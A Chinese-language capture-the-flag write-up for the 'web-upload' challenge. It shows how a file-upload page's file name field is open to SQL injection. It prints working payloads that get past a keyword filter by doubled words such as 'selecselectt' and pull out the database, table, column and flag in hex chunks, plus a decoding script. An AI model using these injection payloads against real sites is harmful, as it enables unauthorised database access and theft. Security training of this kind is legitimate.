攻防世界-web-upload

2023-12-13 21:00:25

1. 题目描述

打开链接,是这样的一个注册界面

先试着注册一个账号看看,这里简单操作,注册test/test,注册完后进行登录

登录成功后进入到这样一个文件上传界面。当前从界面上得到的信息暂时就是这些了。

2. 思路分析

既然存在上传,那么大概率上传点存在漏洞,我们先试试随便上传一个php文件

这里提示很明显了,说明存在WAF,对我们的文件拓展名进行了限制

试着修改下文件后缀,这里修改为jpg格式的,提示我们上传成功

既然上传成功了,试着用蚁剑连接下,发现失败,不过也正常,我们不知道文件的存储路径,而且上传的不是php。

除了文件上传外,是否还有其它的思路呢?我们注意到我们输入的文件名进行了回显,这里就可能存在sql注入,我们简单试下

注意到我们传入select关键字时,回显值中已经没有select了,说明被过滤掉了,为什么要过滤select呢?说明这里大概率存在sql注入。

好了,经过简单的验证,虽然说这道题名字取的是文件上传,但是实际上是文件名sql注入。

3. 解题过程

从上面的截图来看,实际上这道题是存在WAF的,因为过滤了select,那么我们首先要考虑的是如何绕过WAF

3.1 绕过WAF的限制

既然存在sql注入,那么select,from等关键字必须存在绕过方法,试了下大小写无法绕过,但是双写可以

试着查看下数据库

发现回显是0,说明这里大概率对回显进行了限制,而且限制了必须为数字,因此我们需要对sql查询语句进行调整,使得查出来的都是数字,这里做法是先转成16进制,再转化为10进制

但是回显后发现变成科学计数法了,因此我们每次只能取一部分字符,这里验证了一下,每次最多只能取12个字符,如果取13个,取出来的值就会变成科学计数法表示。

此时的文件名为:a' +(selecselectt conv(substr(hex(database()), 1, 12), 16, 10))+ '.jpg

然后再将这个十进制转化为字符串,这里使用如下脚本即可

import sys

num = int(sys.argv[1])
# 10进制 -> 16进制
hex_num = hex(num)[2:]

# 16进制 -> 字符串
bytes_data=bytes.fromhex(hex_num)
str=''.join(chr(byte) for byte in bytes_data)
print(str)

执行该脚本,转为的字符串为web_up

这个看上去不全,因此按照上述的步骤获取数据库名的后面的字符(这里注意文件数小于10个,如果超过10个,那么需要注销并重新登录)

继续将文件名设置为a' +(selecselectt conv(substr(hex(database()), 13, 12), 16, 10))+ '.jpg

所以,最终拼接起来,得到的数据库名为web_upload

3.2 重复上述步骤,进一步获取数据库中的其它字段(表名,列名,具体的值)

获取表名的payload如下:

a' +(selecselectt conv(substr(hex((seleselectct table_name frofromm information_schema.tables where table_schema='web_upload' limit 1, 1)), 1, 12), 16, 10))+ '.jpg

a' +(selecselectt conv(substr(hex((seleselectct table_name frofromm information_schema.tables where table_schema='web_upload' limit 1, 1)), 13, 12), 16, 10))+ '.jpg

a' +(selecselectt conv(substr(hex((seleselectct table_name frofromm information_schema.tables where table_schema='web_upload' limit 1, 1)), 25, 12), 16, 10))+ '.jpg

得到结果:

转换为字符串为:hello_flag_is_here

获取表中字段名的payload如下:

a' +(selecselectt conv(substr(hex((seleselectct column_name frofromm information_schema.columns where table_name='hello_flag_is_here' limit 0, 1)), 1, 12), 16, 10))+ '.jpg

a' +(selecselectt conv(substr(hex((seleselectct column_name frofromm information_schema.columns where table_name='hello_flag_is_here' limit 0, 1)), 13, 12), 16, 10))+ '.jpg

得到结果:

转换为字符串:i_am_flag

最后,查询表中字段值的payload如下:

a' +(selecselectt conv(substr(hex((seleselectct i_am_flag frofromm?hello_flag_is_here)), 1, 12), 16, 10))+ '.jpg

a' +(selecselectt conv(substr(hex((seleselectct i_am_flag frofromm?hello_flag_is_here)), 13, 12), 16, 10))+ '.jpg

a' +(selecselectt conv(substr(hex((seleselectct i_am_flag frofromm?hello_flag_is_here)), 25, 12), 16, 10))+ '.jpg

得到结果:

同样转换成字符串得到flag为:!!_@m_Th.e_F!lag

4. 总结

整体来看,这道题属于一道综合性比较强的题目,虽然是文件上传,但是实际的攻击点在于sql注入,这里是有一点迷惑性的。然后就是针对sql注入,题目中也涉及到了各种sql绕过手段以及进制转化相关的知识点,因此这里还是有一定难度的,不过最终做出来的话也可以积累很多知识,收获很大。

文章来源:https://blog.csdn.net/wuh2333/article/details/134895128
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。